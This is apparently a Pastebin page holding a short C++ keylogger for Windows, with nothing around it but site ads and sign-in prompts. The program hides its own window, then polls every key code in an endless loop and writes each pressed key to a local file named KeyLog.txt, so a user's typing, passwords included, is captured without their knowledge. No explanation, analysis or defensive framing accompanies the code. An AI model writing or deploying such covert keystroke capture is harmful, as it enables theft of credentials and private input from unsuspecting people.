Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <Windows.h>
- #include <fstream>
- int main()
- {
- ShowWindow(GetForegroundWindow(), SW_HIDE);
- std::fstream file;
- file.open("KeyLog.txt", std::fstream::out);
- if (file.is_open())
- {
- while (true)
- {
- for (int i = 0; i < 255; i++)
- {
- if (GetAsyncKeyState(i))
- file << i << ' ';
- }
- Sleep(10);
- };
- }
- file.close();
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement